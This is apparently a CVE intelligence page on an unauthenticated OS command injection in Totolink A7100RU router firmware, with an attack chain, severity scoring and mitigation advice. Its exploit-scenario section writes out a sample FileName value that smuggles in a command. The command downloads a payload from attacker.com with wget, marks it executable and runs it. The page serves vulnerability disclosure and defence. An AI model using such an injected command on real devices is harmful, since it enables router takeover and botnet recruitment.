Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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ReconInternet scan for exposed Totolink management interface
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DeliverySend crafted POST to /cgi-bin/cstecgi.cgi with FileName injection
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ExploitCGI executes unsanitized command as root
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InstallDownload malware payload to /tmp
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C2Establish C2 channel
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ExecuteDeploy router botnet agent
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ImpactLeverage compromised network position for data exfiltration or lateral movement
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit Totolik A7100RU firmware 7.4cu.2313_b20191024 by sending a crafted request to /cgi-bin/cstecgi.cgi targeting the UploadOpenVpnCert function with malicious FileName parameter. No authentication, user interaction, or special configuration required. |
| Impact | This represents critical real-world risk requiring immediate attention. CVSS 9.8 scoring reflects maximum severity: network attack vector (AV:N) means exploitable from Internet, low complexity (AC:L) requires no special conditions, no privileges needed (PR:N) means unauthenticated access, no user interaction (UI:N) enables fully automated exploitation, and high impact to confidentiality, integrity, and availability (C:H/I:H/A:H) grants complete system compromise. Publicly available exploit code (GitHub POC) significantly lowers attacker skill requirements and enables mass scanning. CVSS temporal modifier shows Proof-of-Concept code exists (E:P). However, no EPSS score provided and not present in CISA KEV, suggesting no confirmed active exploitation campaigns at analysis time. SSVC assessment: exploitation status is POC-available, automatable is yes (simple HTTP request), technical impact is total (root command execution on network device). Primary risk is Internet-exposed router compromise for botnet recruitment, network pivot points, or data interception. Older firmware version (2019) suggests likely end-of-life status with low patch probability. |
| Exploit ScenarioDerived | An unauthenticated attacker scans the Internet for Totolink A7100RU routers with exposed administrative interfaces on port 80/443. Upon discovering a target, the attacker sends a crafted HTTP POST request to /cgi-bin/cstecgi.cgi invoking UploadOpenVpnCert with a malicious FileName parameter containing shell metacharacters (e.g., FileName=cert.pem;wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;). The unsanitized input executes arbitrary commands as root, downloading and launching botnet malware. Publicly available exploit code on GitHub enables script-kiddie level attackers to automate mass exploitation. |
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Alert meAnalysisAIv1 – Apr 13, 2026
OS command injection in Totolink A7100RU firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via the FileName parameter in UploadOpenVpnCert function of /cgi-bin/cstecgi.cgi. Publicly available exploit code exists (POC on GitHub), enabling trivial exploitation with no authentication required. CVSS 9.8 (Critical) reflects network-based attack vector with low complexity and no privileges needed. No vendor-released patch identified at time of analysis.
RemediationAI
No vendor-released patch identified at time of analysis for this 2019 firmware version. Immediate mitigations: disable remote administrative access to router management interface from WAN/Internet side; restrict administrative access to trusted internal networks only via firewall rules or router WAN access controls; disable OpenVPN certificate upload functionality if not required. Long-term solution: replace affected Totolink A7100RU devices with actively supported router models from vendors with established security update programs. Monitor vendor advisories at https://www.totolink.net/ for potential firmware updates. For organizations requiring continued use: implement network segmentation placing IoT devices on isolated VLANs with restricted lateral movement capabilities, deploy intrusion detection systems monitoring for command injection patterns targeting /cgi-bin/cstecgi.cgi endpoint.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a CWE-78 OS command injection vulnerability in Totolink A7100RU router firmware. The CGI Handler component processes HTTP requests through /cgi-bin/cstecgi.cgi endpoint, specifically in the UploadOpenVpnCert function responsible for handling OpenVPN certificate uploads. The FileName parameter lacks proper input sanitization, allowing shell metacharacters to be passed directly to system command execution contexts. Affected product: Totolink A7100RU router (cpe:2.3:a:totolink:a7100ru) running firmware version 7.4cu.2313_b20191024 from October 2019. Command injection occurs when user-supplied data is concatenated into shell commands without escaping or validation, enabling arbitrary command execution under the privileges of the CGI process (typically root on embedded router systems).
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability has been found in Totolink A7100RU 7.4cu.2313_b20191024. This affects the function UploadOpenVpnCert of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the argument FileName leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
Executive ViewAI
Totolink A7100RU routers running firmware 7.4cu.2313_b20191024 contain a critical remote command injection vulnerability that allows unauthenticated attackers to execute arbitrary commands directly on affected devices. This poses an immediate threat to network perimeter security, as routers are typically internet-facing and serve as entry points to internal infrastructure. Organizations using this router model must prioritize immediate remediation to prevent complete device compromise and potential lateral movement into corporate networks.
Until patch availability is confirmed by vendor: (1) Restrict network access to the vulnerable /cgi-bin/cstecgi.cgi endpoint using firewall rules to deny external and untrusted source IPs; (2) Isolate affected routers on a separate VLAN with egress filtering; (3) Implement continuous monitoring for suspicious command execution patterns via syslog analysis; (4) Prepare contingency plan for device replacement if vendor does not release a patch within 60 days.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
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OS command injection in Totolink A7100RU router version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
EUVD-2026-21764
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB